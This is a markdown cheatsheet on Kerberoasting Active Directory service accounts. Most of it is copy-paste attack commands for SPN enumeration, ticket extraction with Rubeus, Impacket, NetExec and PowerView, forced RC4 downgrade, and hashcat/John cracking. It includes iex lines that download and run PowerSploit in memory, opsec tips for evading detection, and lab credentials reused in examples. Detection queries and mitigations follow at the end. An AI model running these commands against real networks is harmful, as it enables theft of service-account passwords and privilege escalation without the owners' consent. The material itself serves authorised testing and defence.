kerberoasting.md (12140B)
1 --- 2 title: "Kerberoasting" 3 description: "Request and crack SPN service tickets: GetUserSPNs, Rubeus, hashcat modes and mitigation notes." 4 category: active-directory 5 subcategory: "Kerberos & Delegation" 6 tags: [active-directory, kerberos, cracking] 7 tools: [Impacket, Rubeus, Hashcat] 8 difficulty: intermediate 9 updated: "2026-08-09" 10 source: "vault:ActiveDirectory/Kerberos/Kerberoasting Cheatsheet.md" 11 --- 12 13 # Kerberoasting 14 15 **MITRE ATT&CK:** [T1558.003](https://attack.mitre.org/techniques/T1558/003/) | **Requires:** Valid domain user credentials 16 17 --- 18 19 ## How It Works 20 21 1. Attacker enumerates AD accounts with **Service Principal Names (SPNs)** set 22 2. Requests a **TGS (Ticket Granting Service)** ticket for the SPN from the KDC 23 3. The KDC issues a ticket **encrypted with the service account's NTLM password hash** 24 4. Ticket is extracted and taken **offline for cracking** 25 5. Plaintext password recovered → lateral movement / privilege escalation 26 27 > **Note —** No special privileges required — any valid domain user can request TGS tickets. 28 29 --- 30 31 ## Phase 1 — SPN Enumeration 32 33 ### Windows (Native / Living off the Land) 34 ```cmd 35 :: List all SPNs in the domain 36 setspn -T DOMAIN.LOCAL -Q */* 37 38 :: Filter for user accounts (not machine accounts) 39 setspn -T DOMAIN.LOCAL -Q */* | findstr -v "CN=Computers" 40 ``` 41 42 ### Windows (PowerView / PowerSploit) 43 ```powershell 44 # Load PowerView 45 iex(new-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1') 46 47 # Get users with SPNs set 48 Get-DomainUser -SPN | Select SamAccountName, DisplayName, ServicePrincipalName 49 50 # Shorthand 51 Get-NetUser -SPN 52 ``` 53 54 ### Linux (Impacket) 55 ```bash 56 # Enumerate SPNs only (no ticket request) 57 GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> 58 ``` 59 60 --- 61 62 ## Phase 2 — TGS Ticket Extraction 63 64 ### Rubeus (Windows) — Recommended 65 ```powershell 66 # Roast all kerberoastable users 67 .\Rubeus.exe kerberoast /outfile:hashes.txt 68 69 # Output in Hashcat format 70 .\Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat 71 72 # Target a specific user 73 .\Rubeus.exe kerberoast /user:svc_sql /outfile:hashes.txt 74 75 # Target users in a specific OU 76 .\Rubeus.exe kerberoast /ou:"OU=Services,DC=domain,DC=local" /outfile:hashes.txt 77 78 # Stats only (no ticket requests — stealthy recon) 79 .\Rubeus.exe kerberoast /stats 80 81 # Force RC4 downgrade via tgtdeleg trick (easier to crack) 82 .\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt /nowrap 83 84 # Roast across a trusted domain 85 .\Rubeus.exe kerberoast /domain:dev.corp.local /nowrap 86 87 # Filter by password age (target stale accounts) 88 .\Rubeus.exe kerberoast /tgtdeleg /pwdsetbefore:01-01-2021 /resultlimit:5 89 ``` 90 91 ### Impacket — GetUserSPNs.py (Linux/Remote) 92 ```bash 93 # Enumerate and request all TGS hashes 94 GetUserSPNs.py DOMAIN/user:password -dc-ip <DC_IP> -request 95 96 # Save hashes to file 97 GetUserSPNs.py DOMAIN/user:password -dc-ip <DC_IP> -request -outputfile hashes.txt 98 99 # Authenticate with NT hash (Pass-the-Hash) 100 GetUserSPNs.py -hashes 'LMhash:NThash' DOMAIN/user -dc-ip <DC_IP> -request 101 102 # Kerberoast without pre-authentication (AS-REP style) 103 GetUserSPNs.py -no-preauth bobby -usersfile spn_users.txt -dc-host <DC_IP> DOMAIN.LOCAL/ 104 105 # Cross-domain / across trusts 106 GetUserSPNs.py DOMAIN/user:password -dc-ip <DC_IP> -target-domain trusted.local -request 107 ``` 108 109 ### NetExec (Linux/Remote) 110 ```bash 111 # Roast every kerberoastable account in one shot 112 nxc ldap <DC_IP> -d DOMAIN.LOCAL -u user -p password --kerberoasting hashes.txt 113 114 # Authenticate with an NT hash instead of a password 115 nxc ldap <DC_IP> -d DOMAIN.LOCAL -u user -H <NThash> --kerberoasting hashes.txt 116 117 # Target ONE account only — --kerberoast-account <sAMAccountName> 118 nxc ldap dc01.fluffy.htb -d fluffy.htb -u p.agila -p prometheusx-303 \ 119 --kerberoasting kerberos.txt --kerberoast-account winrm_svc 120 121 # Fix KRB_AP_ERR_SKEW (clock drift vs. the DC) by faking the time with faketime. 122 # Offset the local clock forward/back to match the DC before the LDAP/Kerberos call: 123 faketime -f '+7h' nxc ldap dc01.fluffy.htb -d fluffy.htb -u p.agila -p prometheusx-303 \ 124 --kerberoasting kerberos.txt --kerberoast-account winrm_svc 125 ``` 126 127 > **Note —** `--kerberoast-account` filters server-side so you only pull the target's TGS instead of every SPN in the domain — far quieter, and useful when you already know which service account you want (e.g. from BloodHound). Sync clocks first: Kerberos rejects requests more than 5 minutes off (`KRB_AP_ERR_SKEW`). Use `sudo ntpdate <DC_IP>`/`sudo rdate -n <DC_IP>` to sync, or wrap the command in `faketime` as above when you cannot change the host clock. 128 129 ### Invoke-Kerberoast (PowerShell) 130 ```powershell 131 # Load and execute 132 iex(new-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1') 133 134 # Dump hashes in Hashcat format 135 Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File -FilePath hashes.txt -Encoding ASCII 136 137 # Target a specific domain 138 Invoke-Kerberoast -Domain dev.corp.local | fl 139 140 # Use alternate credentials 141 $SecPass = ConvertTo-SecureString 'Password1!' -AsPlainText -Force 142 $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $SecPass) 143 Invoke-Kerberoast -Credential $Cred | fl 144 ``` 145 146 ### Pure .NET / In-Memory (No Tools on Disk) 147 ```powershell 148 Add-Type -AssemblyName System.IdentityModel 149 New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sqlserver.domain.local:1433" 150 151 # Then export with Mimikatz 152 kerberos::list /export 153 ``` 154 155 --- 156 157 ## Targeting a Specific Account 158 159 When you already know the service account you want (from BloodHound, an ACL edge, or prior enum), roast just that one SPN. It is quieter than bulk roasting and avoids dumping tickets you cannot crack. 160 161 | Tool | Single-account syntax | 162 |---|---| 163 | **NetExec** | `--kerberoast-account <sAMAccountName>` (server-side filter) | 164 | **Impacket** | `GetUserSPNs.py ... -request-user <sAMAccountName>` | 165 | **Rubeus** | `.\Rubeus.exe kerberoast /user:<sAMAccountName>` | 166 | **PowerView** | `Get-DomainUser <sam> -SPN \| Get-DomainSPNTicket -OutputFormat Hashcat` | 167 | **Invoke-Kerberoast** | `Invoke-Kerberoast -Identity <sAMAccountName> -OutputFormat Hashcat` | 168 169 ```bash 170 # Impacket — request only winrm_svc's TGS 171 GetUserSPNs.py fluffy.htb/p.agila:prometheusx-303 -dc-ip <DC_IP> \ 172 -request-user winrm_svc -outputfile kerberos.txt 173 174 # Impacket with an NT hash instead of a password 175 GetUserSPNs.py -hashes ':<NThash>' fluffy.htb/p.agila -dc-ip <DC_IP> \ 176 -request-user winrm_svc -outputfile kerberos.txt 177 178 # NetExec — same target, server-side filter (wrap in faketime if clocks drift) 179 nxc ldap dc01.fluffy.htb -d fluffy.htb -u p.agila -p prometheusx-303 \ 180 --kerberoasting kerberos.txt --kerberoast-account winrm_svc 181 ``` 182 183 ```powershell 184 # Rubeus — one account, Hashcat format, no line wrap 185 .\Rubeus.exe kerberoast /user:winrm_svc /outfile:kerberos.txt /nowrap 186 187 # PowerView — resolve the SPN then request only that ticket 188 Get-DomainUser winrm_svc -SPN | Get-DomainSPNTicket -OutputFormat Hashcat | fl 189 ``` 190 191 > **Note —** All Kerberos requests are time-sensitive. If you hit `KRB_AP_ERR_SKEW` / "Clock skew too great", the local clock is more than 5 minutes off the DC. Sync with `sudo ntpdate <DC_IP>` (or `sudo rdate -n <DC_IP>`), or prefix the command with `faketime -f '+7h' <command>` to shift the clock for that process only. 192 193 --- 194 195 ## Phase 3 — Offline Hash Cracking 196 197 ### Hash Format Reference 198 199 | Tool | Hash Prefix | Mode | 200 |---|---|---| 201 | Hashcat | `$krb5tgs$23$` (RC4) | `13100` | 202 | Hashcat | `$krb5tgs$17$` (AES-128) | `19600` | 203 | Hashcat | `$krb5tgs$18$` (AES-256) | `19700` | 204 | John the Ripper | `$krb5tgs$` | `krb5tgs` | 205 206 ### Hashcat 207 ```bash 208 # RC4 (type 23) — fastest to crack 209 hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt 210 211 # AES-128 (type 17) 212 hashcat -m 19600 hashes.txt /usr/share/wordlists/rockyou.txt 213 214 # AES-256 (type 18) 215 hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt 216 217 # With rules (recommended) 218 hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule 219 220 # Brute force mask (uppercase + lowercase + digits, 8 chars) 221 hashcat -m 13100 hashes.txt -a 3 ?u?l?l?l?l?d?d?d 222 ``` 223 224 ### John the Ripper 225 ```bash 226 john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt 227 john --format=krb5tgs hashes.txt --show 228 ``` 229 230 --- 231 232 ## Opsec / Evasion Tips 233 234 | Technique | Risk Level | Notes | 235 |---|---|---| 236 | Default Rubeus `kerberoast` | Medium | Uses `KerberosRequestorSecurityToken` — visible in logs | 237 | `/tgtdeleg` flag | Medium-High | Forces RC4; triggers etype 0x17 in Event 4769 | 238 | Slow/staggered requests | Low | Avoid bulk TGS requests; blend into normal traffic | 239 | Target single account | Low | `/user:target` reduces noise vs. bulk roasting | 240 | `/stats` flag first | Very Low | Only enumerates — no ticket requests made | 241 | LDAP-based enumeration only | Low | Recon without touching the KDC | 242 243 --- 244 245 ## Detection 246 247 ### Key Windows Event IDs 248 249 | Event ID | Description | Indicator | 250 |---|---|---| 251 | `4769` | Kerberos TGS ticket requested | Encryption type `0x17` (RC4) is suspicious | 252 | `4770` | Kerberos TGS ticket renewed | Bulk renewals may indicate automation | 253 | `4768` | Kerberos TGT requested | Baseline for user auth | 254 255 ### SIEM / Splunk Query Logic 256 ```text 257 EventCode=4769 258 AND TicketEncryptionType=0x17 259 AND NOT AccountName="*$" # Exclude machine accounts 260 AND ServiceName != "krbtgt" 261 AND ServiceName != "*$" 262 ``` 263 264 Look for: 265 * A **single user requesting tickets for many SPNs** in a short window 266 * TGS requests with **RC4 encryption (0x17)** from accounts that normally use AES 267 * Requests originating from **unusual hosts** or **off-hours** 268 * Any access to **honeytoken/canary SPN accounts** 269 270 ### Microsoft Defender XDR 271 Alert **External ID 2410** — *Suspected Kerberos SPN Exposure* ([Source](https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/)) 272 273 --- 274 275 ## Mitigation 276 277 | Control | Description | 278 |---|---| 279 | **Use gMSA / dMSA** | Group/Delegated Managed Service Accounts auto-rotate 120+ char passwords — infeasible to crack | 280 | **Strong SPN passwords** | Minimum 25+ char random passwords for service accounts with SPNs | 281 | **Enforce AES encryption** | Set `msDS-SupportedEncryptionTypes` to AES only; disable RC4 (NTLM hash not used for AES keys) | 282 | **Least Privilege** | Service accounts with SPNs should have minimal AD rights — never Domain Admin | 283 | **Password rotation** | Rotate SPN account passwords every 30–90 days minimum | 284 | **Audit SPNs regularly** | Remove unnecessary or orphaned SPNs from user accounts | 285 | **Honeypot SPNs** | Deploy canary service accounts — any TGS request = immediate alert | 286 | **Disable RC4 where possible** | Reduces crackability of any tickets that are exfiltrated | 287 | **MFA on privileged accounts** | Limits blast radius even if hash is cracked | 288 289 --- 290 291 ## Related Attacks 292 293 * **AS-REP Roasting** (T1558.004) — targets accounts with pre-auth disabled; no credentials needed 294 * **Silver Ticket** — forge TGS tickets using cracked service account hash 295 * **Golden Ticket** — forge TGTs using `krbtgt` hash 296 * **Pass-the-Ticket** — reuse captured TGS tickets without cracking 297 * **Golden gMSA** — attack against gMSA `KDS Root Key` when gMSAs replace kerberoastable accounts 298 299 --- 300 301 ## Tools Reference 302 303 | Tool | Platform | Use | 304 |---|---|---| 305 | [Rubeus](https://github.com/GhostPack/Rubeus) | Windows | Full-featured C# Kerberos toolset | 306 | [Impacket GetUserSPNs.py](https://github.com/fortra/impacket) | Linux | Remote roasting with creds or hashes | 307 | [PowerView / Invoke-Kerberoast](https://github.com/PowerShellMafia/PowerSploit) | Windows (PS) | PowerShell-based enumeration + roasting | 308 | [Hashcat](https://hashcat.net) | Any | GPU-accelerated hash cracking | 309 | [John the Ripper](https://www.openwall.com/john/) | Any | CPU-based hash cracking | 310 | [BloodHound](https://github.com/SpecterOps/BloodHound) | Any | Visualise kerberoastable paths to DA | 311 | [Mimikatz](https://github.com/gentilkiwi/mimikatz) | Windows | Export tickets from memory |